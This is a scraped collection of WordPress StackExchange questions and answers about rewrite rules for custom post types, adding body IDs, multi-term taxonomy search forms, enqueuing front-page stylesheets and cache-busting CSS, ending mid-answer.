[ { "answer_id": 282426, "author": "Slam", "author_id": 82256, "author_profile": "https://wordpress.stackexchange.com/users/82256", "pm_score": 0, "selected": false, "text": "<p>Yeah so it was user error after all.</p>\n\n<p>Months ago I had experiment with Yeost and had added a rewrite_rules_array is functions.php. It was taking priority over the add_rewrite_rule. Once I deleted that, custom posts types worked normally. </p>\n\n<p>Here's the offending code:</p>\n\n<pre><code>add_filter( 'rewrite_rules_array', 'my_rewrite_rules_array');\nfunction my_rewrite_rules_array($rules) {\n $rules = array('([^/]*)/([^/]*)/?$' =&gt; 'index.php?post_type=post&amp;name=$matches[2]&amp;meta=$matches[1]') + $rules;\n return $rules;\n}\n</code></pre>\n\n<p>This was solved by using Atom to do a non-grep search for <code>'([^/]*)/([^/]*)/?$'</code> on the whole site folder. </p>\n" }, { "answer_id": 282430, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 2, "selected": true, "text": "<p>While you've found the problem already, here is some basic code to move a specific rule to the end of the rewrite rules with the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/rewrite_rules_array\" rel=\"nofollow noreferrer\">rewrite_rules_array</a> filter for people stumbling across a similar problem.</p>\n\n<p>Say I want to move the rule for <code>([^/]*)/([^/]*)/?$</code>:</p>\n\n<pre><code>add_filter(\"rewrite_rules_array\", function($rules) {\n $keys = array_keys($rules);\n foreach($keys as $rule) {\n if($rule == '([^/]*)/([^/]*)/?$') {\n $value = $rules[$rule];\n unset($rules[$rule]);\n $rules[$rule] = $value;\n break;\n }\n }\n return $rules;\n});\n</code></pre>\n\n<p>Note that you'll need to flush/update the rules for this to have any effect. Saving your permalinks configuration in the backend is enough to accomplish that.</p>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282423", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/82256/" ]
I've gone through four or five Codex pages, a dozens Stackexchange pages, and four or five dev blogs trying to solve this. I have a custom post type called authors. The CPT is set up correctly, I pulled the CPT framework from the Codex, and I've checked it against a CPT generator. The Admin screens create, edit, and list Author posts correctly, and the URLs are in the correct format of `example.com/author/post_name/`. Author archives also work. But nothing I do will display that page on the front end. It's nothing but 404s. I have flushed the rewrite a dozen times though the Permalinks page and WP-CLI. I have also installed Custom Post Type Permalinks and have the same issue. CPT is here: ``` add_action( 'init', 'to4_cpt_author' ); function to4_cpt_author() { $labels = array( 'name' => _x( 'Authors', 'post type general name' ), 'singular_name' => _x( 'Author', 'post type singular name' ), 'menu_name' => _x( 'Authors', 'admin menu' ), 'name_admin_bar' => _x( 'Author', 'add new on admin bar' ), 'add_new' => _x( 'Add New', 'author' ), 'add_new_item' => __( 'Add New Author' ), 'new_item' => __( 'New Author' ), 'edit_item' => __( 'Edit Author' ), 'view_item' => __( 'View Author' ), 'all_items' => __( 'All Authors' ), 'search_items' => __( 'Search Authors' ), 'parent_item_colon' => __( 'Parent Authors:' ), 'not_found' => __( 'No authors found.' ), 'not_found_in_trash' => __( 'No authors found in Trash.' ) ); $args = array( 'labels' => $labels, 'description' => __( 'Author post type.' ), 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => 'author', 'rewrite' => array('slug' => 'author', 'with_front' => true ), 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' => false, 'menu_position' => 9, 'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' ), 'taxonomies' => array( 'admin_tag', 'post_tag' ), 'menu_icon' => 'dashicons-id-alt' ); register_post_type( 'author', $args ); } ``` I've installed the Query Monitor plugin and it tell me the following rewrites are matched. ``` All Matching Rewrite Rules Rule Query ([^/]*)/([^/]*)/?$ post_type=post &name=$matches[2] &meta=$matches[1] ^author/([^/]*)/? post_type=author &name=$matches[1] author/([^/]+)(?:/([0-9]+))?/?$ author=$matches[1] &page=$matches[2] (.?.+?)(?:/([0-9]+))?/?$ pagename=$matches[1] &page=$matches[2] ``` The second query `^author/([^/]*)/?` is one I wrote using: ``` function to4_rewrite_rule() { add_rewrite_rule( '^author/([^/]*)/?', 'index.php?post_type=author&name=$matches[1]','top' ); } add_action('init', 'to4_rewrite_rule', 10, 0); ``` But the top query seems to be getting matched first, which is why I am getting 404s. Query Monitor shows the generated query as `name=catherine-collins&post_type=post` when it should be `name=catherine-collins &post_type=author` Where is that query coming from and how do I demote it? There's no other `add_rewrite_rule` anywhere in my theme or any plugin so I am guessing this is core. The theme is Twenty-Seventeen with my own custom plugin defining several Custom Post Types.
While you've found the problem already, here is some basic code to move a specific rule to the end of the rewrite rules with the [rewrite\_rules\_array](https://codex.wordpress.org/Plugin_API/Filter_Reference/rewrite_rules_array) filter for people stumbling across a similar problem. Say I want to move the rule for `([^/]*)/([^/]*)/?$`: ``` add_filter("rewrite_rules_array", function($rules) { $keys = array_keys($rules); foreach($keys as $rule) { if($rule == '([^/]*)/([^/]*)/?$') { $value = $rules[$rule]; unset($rules[$rule]); $rules[$rule] = $value; break; } } return $rules; }); ``` Note that you'll need to flush/update the rules for this to have any effect. Saving your permalinks configuration in the backend is enough to accomplish that.
282,445
<p>i want to add an animated background to the front page of my website so i use <a href="http://vincentgarreau.com/particles.js/" rel="nofollow noreferrer">the following plugin</a> but the problem is that i must apply an id to the body and i don't know how can i do it in the right way, can anyone help me with that ?</p> <pre><code>&lt;body id="UNIQUE_ID_HERE"&gt; &lt;/body&gt; </code></pre> <p>P.S :i'm using a child theme</p>
[ { "answer_id": 282446, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>There's no filter or anything, so you'll need to edit the body tag directly in the child theme. It probably opens in header.php and looks something like:</p>\n\n<pre><code>&lt;body &lt;?php body_class(); ?&gt;&gt;\n</code></pre>\n\n<p>Just add the ID:</p>\n\n<pre><code>&lt;body id=\"body\" &lt;?php body_class(); ?&gt;\n</code></pre>\n\n<p>Then just conditionally load the script on the front page by checking <code>is_front_page()</code> first.</p>\n" }, { "answer_id": 282448, "author": "Temani Afif", "author_id": 128913, "author_profile": "https://wordpress.stackexchange.com/users/128913", "pm_score": 1, "selected": false, "text": "<p>I don't think you need to add an ID to the body for two reasons :</p>\n\n<p>1) The body is unique in all the pages so you can simply use <code>body</code> selector in CSS</p>\n\n<p>2) Each page (including the front page) should have a unique class added to the body. So in case you want to apply a CSS to a specfic page you should check this CSS class. here is an example :</p>\n\n<p><a href=\"https://i.stack.imgur.com/A122Z.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/A122Z.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 282479, "author": "The WP Intermediate", "author_id": 105791, "author_profile": "https://wordpress.stackexchange.com/users/105791", "pm_score": 2, "selected": false, "text": "<p>Put this in your functions.php → </p>\n\n<pre><code>&lt;?php \n\nfunction body_id_dynamic() {\n\n if (is_home()) {\n\n echo ' id=\"home\"';\n\n } elseif (is_single()) {\n\n echo ' id=\"single\"';\n\n } elseif (is_search()) {\n\n echo ' id=\"search\"';\n\n } elseif (is_archive()) {\n\n echo ' id=\"archive\"';\n }\n}\n?&gt;\n</code></pre>\n\n<p>and then this →</p>\n\n<pre><code>&lt;body&lt;?php body_id_dynamic(); body_class(); ?&gt;&gt;\n</code></pre>\n\n<blockquote>\n <p>P.S. → More customization is possible. This was to give you a clue. Add as many conditions as you want.</p>\n</blockquote>\n" }, { "answer_id": 282486, "author": "Karl Chvojka", "author_id": 129369, "author_profile": "https://wordpress.stackexchange.com/users/129369", "pm_score": 1, "selected": false, "text": "<p>The easiest way is to build a template for this page, and add the header and footer to it. This means create template, remove get_header() replace with the content of header.php, same with the footer. THEN you have full control over just that pages template. You can add the template name comment to the top of the page (just make a box and drop it in) and it will still technically function as a template within your theme. Just with its own header and footer.</p>\n" }, { "answer_id": 282901, "author": "L.Milo", "author_id": 129596, "author_profile": "https://wordpress.stackexchange.com/users/129596", "pm_score": 1, "selected": false, "text": "<p>In your header.php file you can find the body tag like Jacob said:</p>\n\n<pre><code>&lt;body&gt;\n</code></pre>\n\n<p>but to add a unique id only in the front page, you should add it like this:</p>\n\n<pre><code>&lt;body id=\"&lt;?php echo (is_front_page()) ? 'home' : 'not-home'; ?&gt;\" &gt;\n</code></pre>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282445", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129355/" ]
i want to add an animated background to the front page of my website so i use [the following plugin](http://vincentgarreau.com/particles.js/) but the problem is that i must apply an id to the body and i don't know how can i do it in the right way, can anyone help me with that ? ``` <body id="UNIQUE_ID_HERE"> </body> ``` P.S :i'm using a child theme
Put this in your functions.php → ``` <?php function body_id_dynamic() { if (is_home()) { echo ' id="home"'; } elseif (is_single()) { echo ' id="single"'; } elseif (is_search()) { echo ' id="search"'; } elseif (is_archive()) { echo ' id="archive"'; } } ?> ``` and then this → ``` <body<?php body_id_dynamic(); body_class(); ?>> ``` > > P.S. → More customization is possible. This was to give you a clue. Add as many conditions as you want. > > >
282,467
<p>Is there a way to doing this easily like</p> <ol> <li>There are three or may be more</li> <li><p>I want to display the posts of above categories like</p> <pre><code>Bring posts from categories From Category A: 20% OR 2 From Category B: 50% OR 5 From Category C: 30% OR 3 </code></pre></li> <li><p>The categories may be odd or even as well as the ratio (percentage) etc.</p></li> </ol> <p>If there is a proper way around?</p>
[ { "answer_id": 282446, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>There's no filter or anything, so you'll need to edit the body tag directly in the child theme. It probably opens in header.php and looks something like:</p>\n\n<pre><code>&lt;body &lt;?php body_class(); ?&gt;&gt;\n</code></pre>\n\n<p>Just add the ID:</p>\n\n<pre><code>&lt;body id=\"body\" &lt;?php body_class(); ?&gt;\n</code></pre>\n\n<p>Then just conditionally load the script on the front page by checking <code>is_front_page()</code> first.</p>\n" }, { "answer_id": 282448, "author": "Temani Afif", "author_id": 128913, "author_profile": "https://wordpress.stackexchange.com/users/128913", "pm_score": 1, "selected": false, "text": "<p>I don't think you need to add an ID to the body for two reasons :</p>\n\n<p>1) The body is unique in all the pages so you can simply use <code>body</code> selector in CSS</p>\n\n<p>2) Each page (including the front page) should have a unique class added to the body. So in case you want to apply a CSS to a specfic page you should check this CSS class. here is an example :</p>\n\n<p><a href=\"https://i.stack.imgur.com/A122Z.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/A122Z.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 282479, "author": "The WP Intermediate", "author_id": 105791, "author_profile": "https://wordpress.stackexchange.com/users/105791", "pm_score": 2, "selected": false, "text": "<p>Put this in your functions.php → </p>\n\n<pre><code>&lt;?php \n\nfunction body_id_dynamic() {\n\n if (is_home()) {\n\n echo ' id=\"home\"';\n\n } elseif (is_single()) {\n\n echo ' id=\"single\"';\n\n } elseif (is_search()) {\n\n echo ' id=\"search\"';\n\n } elseif (is_archive()) {\n\n echo ' id=\"archive\"';\n }\n}\n?&gt;\n</code></pre>\n\n<p>and then this →</p>\n\n<pre><code>&lt;body&lt;?php body_id_dynamic(); body_class(); ?&gt;&gt;\n</code></pre>\n\n<blockquote>\n <p>P.S. → More customization is possible. This was to give you a clue. Add as many conditions as you want.</p>\n</blockquote>\n" }, { "answer_id": 282486, "author": "Karl Chvojka", "author_id": 129369, "author_profile": "https://wordpress.stackexchange.com/users/129369", "pm_score": 1, "selected": false, "text": "<p>The easiest way is to build a template for this page, and add the header and footer to it. This means create template, remove get_header() replace with the content of header.php, same with the footer. THEN you have full control over just that pages template. You can add the template name comment to the top of the page (just make a box and drop it in) and it will still technically function as a template within your theme. Just with its own header and footer.</p>\n" }, { "answer_id": 282901, "author": "L.Milo", "author_id": 129596, "author_profile": "https://wordpress.stackexchange.com/users/129596", "pm_score": 1, "selected": false, "text": "<p>In your header.php file you can find the body tag like Jacob said:</p>\n\n<pre><code>&lt;body&gt;\n</code></pre>\n\n<p>but to add a unique id only in the front page, you should add it like this:</p>\n\n<pre><code>&lt;body id=\"&lt;?php echo (is_front_page()) ? 'home' : 'not-home'; ?&gt;\" &gt;\n</code></pre>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282467", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/73953/" ]
Is there a way to doing this easily like 1. There are three or may be more 2. I want to display the posts of above categories like ``` Bring posts from categories From Category A: 20% OR 2 From Category B: 50% OR 5 From Category C: 30% OR 3 ``` 3. The categories may be odd or even as well as the ratio (percentage) etc. If there is a proper way around?
Put this in your functions.php → ``` <?php function body_id_dynamic() { if (is_home()) { echo ' id="home"'; } elseif (is_single()) { echo ' id="single"'; } elseif (is_search()) { echo ' id="search"'; } elseif (is_archive()) { echo ' id="archive"'; } } ?> ``` and then this → ``` <body<?php body_id_dynamic(); body_class(); ?>> ``` > > P.S. → More customization is possible. This was to give you a clue. Add as many conditions as you want. > > >
282,493
<p>I have a search that works fine with custom fields, and one term per taxonomy. However I want to select multiple terms from one taxonomy "property-type".</p> <p>My current query looks like ---</p> <pre><code>/?s=Search&amp;property_city=Any+City&amp;property_state=Any+State&amp;address=&amp;beds=Any&amp;baths=Any&amp;min_price=Any&amp;max_price=Any&amp;property_type=condo&amp;property_type=duplex&amp;min_area=Any&amp;max_area=Any&amp;post_type=property&amp;hide-reports=list-property&amp;property-contract-type=for-sale </code></pre> <p>I need this to use OR operator when selecting multiple terms --</p> <pre><code> property_type=condo&amp;property_type=duplex </code></pre> <p>Like so -</p> <pre><code>property_type=condo,duplex </code></pre> <p>Currently in my theme's functions -- </p> <pre><code> $s = $_GET['s']; $meta_query=array(); if ($s == __('Search', 'framework')) { $query-&gt;set('s', ''); } $query-&gt;set('post_type', 'property'); $query-&gt;set('post_status','publish'); if (!empty($property_type)) { $query-&gt;set('property-type', $property_type); } if (!empty($property_city)) { $query-&gt;set('city-type',$property_city); } if (!empty($property_neighborhood)) { $query-&gt;set('neighborhood',$property_neighborhood); } if (!empty($property_contract_type)) { $query-&gt;set('property-contract-type', $property_contract_type); } </code></pre> <p>Full Code - <a href="https://pastebin.com/LC96j4v5" rel="nofollow noreferrer">https://pastebin.com/LC96j4v5</a></p> <p>On my form -</p> <pre><code>&lt;select name="property_type" class="form-control" multiple&gt; &lt;?php $terms = get_terms( "property-type", array( 'hide_empty' =&gt; 0 ) ); $count = count($terms); if ( $count &gt; 0 ){ echo "&lt;option class='button' value='Any'&gt;All&lt;/option&gt;"; foreach ( $terms as $term ) { echo "&lt;option class='button' value='" . $term-&gt;slug . "'&gt;" . $term-&gt;name . "&lt;/option&gt;"; } } ?&gt; &lt;/select&gt; </code></pre>
[ { "answer_id": 282790, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": true, "text": "<p>You need to make only one change in the form, change the first line to:</p>\n\n<pre><code>&lt;select name=\"property_type[]\" class=\"form-control\" multiple&gt;\n</code></pre>\n\n<p>Name of the field has to include [] to be considered as an array when it arrives on the server side. In the query string it will be listed as: </p>\n\n<pre><code>property_type[]=condo&amp;property_type[]=duplex\n</code></pre>\n\n<p>And, on server side, when you read this use this:</p>\n\n<pre><code>$property_type = (array)$_GET['property_type'];\n</code></pre>\n\n<p>This can go right at the top just after the <code>$s = $_GET['s'];</code> line,</p>\n\n<p>Make sure to sanitize all the input data before using. More on data sanitizing you can find here: <a href=\"https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data\" rel=\"nofollow noreferrer\">Validating Sanitizing and Escaping User Data</a></p>\n" }, { "answer_id": 283077, "author": "Sneha Agarwal", "author_id": 129447, "author_profile": "https://wordpress.stackexchange.com/users/129447", "pm_score": 0, "selected": false, "text": "<p>You do not need to make any change to the form. You need to make a change in the theme's function to include a tax_query which will get multiple terms from your taxonomy property_type with a relation OR</p>\n\n<pre><code> $s = $_GET['s'];\nforeach($_GET as $key =&gt; $value){\n if($key == 'property_type'){\n $item_property_type['taxonomy'] = htmlspecialchars($key);\n $item_property_type['terms'] = htmlspecialchars($value);\n $item_property_type['field'] = 'slug';\n $list[] = $item_property_type;\n }\n}\n$taxproperty_type = array_merge(array('relation' =&gt; 'OR'), $list);\n\n $meta_query=array();\n if ($s == __('Search', 'framework')) {\n $query-&gt;set('s', '');\n }\n $query-&gt;set('post_type', 'property');\n $query-&gt;set('post_status','publish');\n if (!empty($property_type)) {\n $query-&gt;set('tax_query',$taxproperty_type);\n }\n if (!empty($property_city)) {\n $query-&gt;set('city-type',$property_city);\n }\nif (!empty($property_neighborhood)) {\n $query-&gt;set('neighborhood',$property_neighborhood);\n }\n if (!empty($property_contract_type)) {\n $query-&gt;set('property-contract-type', $property_contract_type);\n }\n</code></pre>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282493", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24067/" ]
I have a search that works fine with custom fields, and one term per taxonomy. However I want to select multiple terms from one taxonomy "property-type". My current query looks like --- ``` /?s=Search&property_city=Any+City&property_state=Any+State&address=&beds=Any&baths=Any&min_price=Any&max_price=Any&property_type=condo&property_type=duplex&min_area=Any&max_area=Any&post_type=property&hide-reports=list-property&property-contract-type=for-sale ``` I need this to use OR operator when selecting multiple terms -- ``` property_type=condo&property_type=duplex ``` Like so - ``` property_type=condo,duplex ``` Currently in my theme's functions -- ``` $s = $_GET['s']; $meta_query=array(); if ($s == __('Search', 'framework')) { $query->set('s', ''); } $query->set('post_type', 'property'); $query->set('post_status','publish'); if (!empty($property_type)) { $query->set('property-type', $property_type); } if (!empty($property_city)) { $query->set('city-type',$property_city); } if (!empty($property_neighborhood)) { $query->set('neighborhood',$property_neighborhood); } if (!empty($property_contract_type)) { $query->set('property-contract-type', $property_contract_type); } ``` Full Code - <https://pastebin.com/LC96j4v5> On my form - ``` <select name="property_type" class="form-control" multiple> <?php $terms = get_terms( "property-type", array( 'hide_empty' => 0 ) ); $count = count($terms); if ( $count > 0 ){ echo "<option class='button' value='Any'>All</option>"; foreach ( $terms as $term ) { echo "<option class='button' value='" . $term->slug . "'>" . $term->name . "</option>"; } } ?> </select> ```
You need to make only one change in the form, change the first line to: ``` <select name="property_type[]" class="form-control" multiple> ``` Name of the field has to include [] to be considered as an array when it arrives on the server side. In the query string it will be listed as: ``` property_type[]=condo&property_type[]=duplex ``` And, on server side, when you read this use this: ``` $property_type = (array)$_GET['property_type']; ``` This can go right at the top just after the `$s = $_GET['s'];` line, Make sure to sanitize all the input data before using. More on data sanitizing you can find here: [Validating Sanitizing and Escaping User Data](https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data)
282,494
<p>I’d like to update a simple static HTML site to WordPress. This would be my first WP site and I already have a theme in mind to use. The static HTML site has seven pages and an images sub folder in the root directory. </p> <p>My current thinking is to install WordPress into the root directory that the current static HTML site resides in, build it in the background and delete the old site(static HTML) when the WP site is ready to go. </p> <p>I know I’ll have two index files (index.html and index.php), but I believe I can specify the load order in .htaccess or through the site admin panel (need to look into to be sure).</p> <p>Would there be any concern installing WordPress into the root directory that the current HTML site resides in? I’m trying to avoid having to figure out moving the WP site either from a web subdirectory or locally on my PC(WAMP) to the web root. Just trying to make it as straightforward as possible without risking messing something up when moving it.</p> <p>Thank you for your time an insights.</p>
[ { "answer_id": 282790, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": true, "text": "<p>You need to make only one change in the form, change the first line to:</p>\n\n<pre><code>&lt;select name=\"property_type[]\" class=\"form-control\" multiple&gt;\n</code></pre>\n\n<p>Name of the field has to include [] to be considered as an array when it arrives on the server side. In the query string it will be listed as: </p>\n\n<pre><code>property_type[]=condo&amp;property_type[]=duplex\n</code></pre>\n\n<p>And, on server side, when you read this use this:</p>\n\n<pre><code>$property_type = (array)$_GET['property_type'];\n</code></pre>\n\n<p>This can go right at the top just after the <code>$s = $_GET['s'];</code> line,</p>\n\n<p>Make sure to sanitize all the input data before using. More on data sanitizing you can find here: <a href=\"https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data\" rel=\"nofollow noreferrer\">Validating Sanitizing and Escaping User Data</a></p>\n" }, { "answer_id": 283077, "author": "Sneha Agarwal", "author_id": 129447, "author_profile": "https://wordpress.stackexchange.com/users/129447", "pm_score": 0, "selected": false, "text": "<p>You do not need to make any change to the form. You need to make a change in the theme's function to include a tax_query which will get multiple terms from your taxonomy property_type with a relation OR</p>\n\n<pre><code> $s = $_GET['s'];\nforeach($_GET as $key =&gt; $value){\n if($key == 'property_type'){\n $item_property_type['taxonomy'] = htmlspecialchars($key);\n $item_property_type['terms'] = htmlspecialchars($value);\n $item_property_type['field'] = 'slug';\n $list[] = $item_property_type;\n }\n}\n$taxproperty_type = array_merge(array('relation' =&gt; 'OR'), $list);\n\n $meta_query=array();\n if ($s == __('Search', 'framework')) {\n $query-&gt;set('s', '');\n }\n $query-&gt;set('post_type', 'property');\n $query-&gt;set('post_status','publish');\n if (!empty($property_type)) {\n $query-&gt;set('tax_query',$taxproperty_type);\n }\n if (!empty($property_city)) {\n $query-&gt;set('city-type',$property_city);\n }\nif (!empty($property_neighborhood)) {\n $query-&gt;set('neighborhood',$property_neighborhood);\n }\n if (!empty($property_contract_type)) {\n $query-&gt;set('property-contract-type', $property_contract_type);\n }\n</code></pre>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282494", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129375/" ]
I’d like to update a simple static HTML site to WordPress. This would be my first WP site and I already have a theme in mind to use. The static HTML site has seven pages and an images sub folder in the root directory. My current thinking is to install WordPress into the root directory that the current static HTML site resides in, build it in the background and delete the old site(static HTML) when the WP site is ready to go. I know I’ll have two index files (index.html and index.php), but I believe I can specify the load order in .htaccess or through the site admin panel (need to look into to be sure). Would there be any concern installing WordPress into the root directory that the current HTML site resides in? I’m trying to avoid having to figure out moving the WP site either from a web subdirectory or locally on my PC(WAMP) to the web root. Just trying to make it as straightforward as possible without risking messing something up when moving it. Thank you for your time an insights.
You need to make only one change in the form, change the first line to: ``` <select name="property_type[]" class="form-control" multiple> ``` Name of the field has to include [] to be considered as an array when it arrives on the server side. In the query string it will be listed as: ``` property_type[]=condo&property_type[]=duplex ``` And, on server side, when you read this use this: ``` $property_type = (array)$_GET['property_type']; ``` This can go right at the top just after the `$s = $_GET['s'];` line, Make sure to sanitize all the input data before using. More on data sanitizing you can find here: [Validating Sanitizing and Escaping User Data](https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data)
282,498
<p>I am trying to include a CSS file using wp_enqueue_style conditionally on whether I am on the front page. I am testing for the home page with this code:</p> <pre><code>if ( is_front_page() ) wp_enqueue_style ('TBDhome', get_template_directory_uri() . '/css/TBDhome.css','all'); </code></pre> <p>It worked find when I was testing in the header file and including the CSS file.</p>
[ { "answer_id": 282536, "author": "disinfor", "author_id": 103920, "author_profile": "https://wordpress.stackexchange.com/users/103920", "pm_score": 1, "selected": true, "text": "<p>Even though this question may get down voted - because not enough information has been provided and it's fairly easy to find tutorials elsewhere, I'll help you out.</p>\n\n<p>In your <code>functions.php</code> file in your theme, you need to do this:</p>\n\n<pre><code>add_action( 'wp_enqueue_scripts', 'wp5849_scripts' );\nfunction wp5849_scripts() {\n if ( is_front_page() ) :\n wp_enqueue_style('TBDhome', get_stylesheet_directory_uri() . '/css/TBDhome.css');\n endif;\n}\n</code></pre>\n\n<p>What this is doing:\nThe first line <code>add_action</code> is the hook to run your function <code>wp5849_scripts()</code> at a certain point during WordPress's internal setup. You can read more about action hooks and filters in the <a href=\"https://developer.wordpress.org/reference/hooks/\" rel=\"nofollow noreferrer\">WordPress codex</a>.</p>\n\n<p>The second part is the actual function to enqueue the stylesheet. Checks to see if it's the front page of the site, if it passes, it will load the stylesheet.</p>\n\n<p>I updated the directory to be <code>get_stylesheet_directory_uri()</code> because if you are using a child theme, <code>get_template_directory_uri()</code> will return the <strong>PARENT</strong> theme directory. <code>get_stylesheet_directory_uri()</code> will work with whatever theme is currently active (parent or child).</p>\n\n<p>You can read more on the arguments that are passed to <code>wp_enqueue_style</code> <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p>As a note: you may already have a function that is enqueuing scripts and styles in your <code>functions.php</code> (look for the <code>add_action( 'wp_enqueue_scripts')</code> hook). If that's the case, you simply need to add:</p>\n\n<pre><code>if ( is_front_page() ) :\n wp_enqueue_style('TBDhome', get_stylesheet_directory_uri() . '/css/TBDhome.css');\nendif;\n</code></pre>\n\n<p>to the function that the <code>add_action</code> is calling. I wanted to add this as an option.</p>\n\n<p><strong>EDIT:</strong>\nIt appears there may be a larger theme issue or setting issue, based on OP comments. Here is an option to place the stylesheet in the header.php</p>\n\n<pre><code>if ( is_front_page() ) {\n echo '&lt;link rel=\"stylesheet\" id=\"TBDHome-css\" href=\"' . get_stylesheet_directory_uri() . '/css/TBDhome.css\" type='text/css' media='all' /&gt;\n}\n</code></pre>\n" }, { "answer_id": 282847, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 1, "selected": false, "text": "<p><code>is_front_page()</code> will return false before the wp hook because the <code>wp</code> object is not set up yet.</p>\n\n<pre><code>//* If placed directly in functions.php, this will work\nadd_action( 'wp', 'wpse_282498_wp' );\nfunction wpse_282498_wp() {\n if( is_front_page() ) {\n do_something_useful();\n }\n}\n\n//* If placed directly in functions.php, this will *not* work\nif( is_front_page() ) {\n //* Because this will never be run\n do_something_useful();\n}\n</code></pre>\n" }, { "answer_id": 377035, "author": "Pmk", "author_id": 196541, "author_profile": "https://wordpress.stackexchange.com/users/196541", "pm_score": 0, "selected": false, "text": "<p>Check whether you have created front-page.php in root folder.</p>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282498", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/127612/" ]
I am trying to include a CSS file using wp\_enqueue\_style conditionally on whether I am on the front page. I am testing for the home page with this code: ``` if ( is_front_page() ) wp_enqueue_style ('TBDhome', get_template_directory_uri() . '/css/TBDhome.css','all'); ``` It worked find when I was testing in the header file and including the CSS file.
Even though this question may get down voted - because not enough information has been provided and it's fairly easy to find tutorials elsewhere, I'll help you out. In your `functions.php` file in your theme, you need to do this: ``` add_action( 'wp_enqueue_scripts', 'wp5849_scripts' ); function wp5849_scripts() { if ( is_front_page() ) : wp_enqueue_style('TBDhome', get_stylesheet_directory_uri() . '/css/TBDhome.css'); endif; } ``` What this is doing: The first line `add_action` is the hook to run your function `wp5849_scripts()` at a certain point during WordPress's internal setup. You can read more about action hooks and filters in the [WordPress codex](https://developer.wordpress.org/reference/hooks/). The second part is the actual function to enqueue the stylesheet. Checks to see if it's the front page of the site, if it passes, it will load the stylesheet. I updated the directory to be `get_stylesheet_directory_uri()` because if you are using a child theme, `get_template_directory_uri()` will return the **PARENT** theme directory. `get_stylesheet_directory_uri()` will work with whatever theme is currently active (parent or child). You can read more on the arguments that are passed to `wp_enqueue_style` [here](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) As a note: you may already have a function that is enqueuing scripts and styles in your `functions.php` (look for the `add_action( 'wp_enqueue_scripts')` hook). If that's the case, you simply need to add: ``` if ( is_front_page() ) : wp_enqueue_style('TBDhome', get_stylesheet_directory_uri() . '/css/TBDhome.css'); endif; ``` to the function that the `add_action` is calling. I wanted to add this as an option. **EDIT:** It appears there may be a larger theme issue or setting issue, based on OP comments. Here is an option to place the stylesheet in the header.php ``` if ( is_front_page() ) { echo '<link rel="stylesheet" id="TBDHome-css" href="' . get_stylesheet_directory_uri() . '/css/TBDhome.css" type='text/css' media='all' /> } ```
282,519
<p>I am currently using a Mac computer and I cannot figure out how to refresh my website when I make changes to my WordPress stylesheet file. I have tried Cmd+R for hard reloading, I have tried emptying the caches, but nothing seems to work – the old version is still loaded nonetheless. </p> <p>I have used a windows computer before and every time I made a style change with my style.css sheet, I would just press ctrl + F5 and it would hard refresh right away. </p> <p>Does anyone know any tricks other than Cmd+R or clearing the caches to automatically refresh the stylesheet? </p>
[ { "answer_id": 300209, "author": "WP Vlad", "author_id": 141413, "author_profile": "https://wordpress.stackexchange.com/users/141413", "pm_score": 2, "selected": false, "text": "<p><strong>\"Quick\" fix</strong>: Right Click -> view page source ( ctrl+U ), find .css file you changed, open it in new tab and reload ( you should see change in place you've made it )</p>\n\n<p><strong>ONLY in development mode</strong> add php function time() in place of version number</p>\n\n<pre><code>wp_enqueue_style( $handle, $src, array(), time() , 'all' );\n</code></pre>\n\n<p>Delete cache if you use caching plugin.</p>\n" }, { "answer_id": 300213, "author": "Greg Much", "author_id": 131594, "author_profile": "https://wordpress.stackexchange.com/users/131594", "pm_score": 2, "selected": false, "text": "<p>If you're using cache for your styles you need to refresh cache, turn off a cache plugin or just add \"time()\" function to your version of your styles.</p>\n\n<pre><code>wp_enqueue_style( 'some-style', get_stylesheet_directory_uri() . '/yourpath.css', array(), time());\n</code></pre>\n\n<p>More info you can find here about styles in wordpress.\n<a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\" title=\"wp_enqueue_style\">wp_enqueue_style</a></p>\n" }, { "answer_id": 300228, "author": "Canelo Digital", "author_id": 114144, "author_profile": "https://wordpress.stackexchange.com/users/114144", "pm_score": 0, "selected": false, "text": "<p>this can actually be a complex problem and may have many dimensions:</p>\n\n<p>Please define further: Are you developping locally (server, DB is on your computer) or remotely (Hosting, FTP, 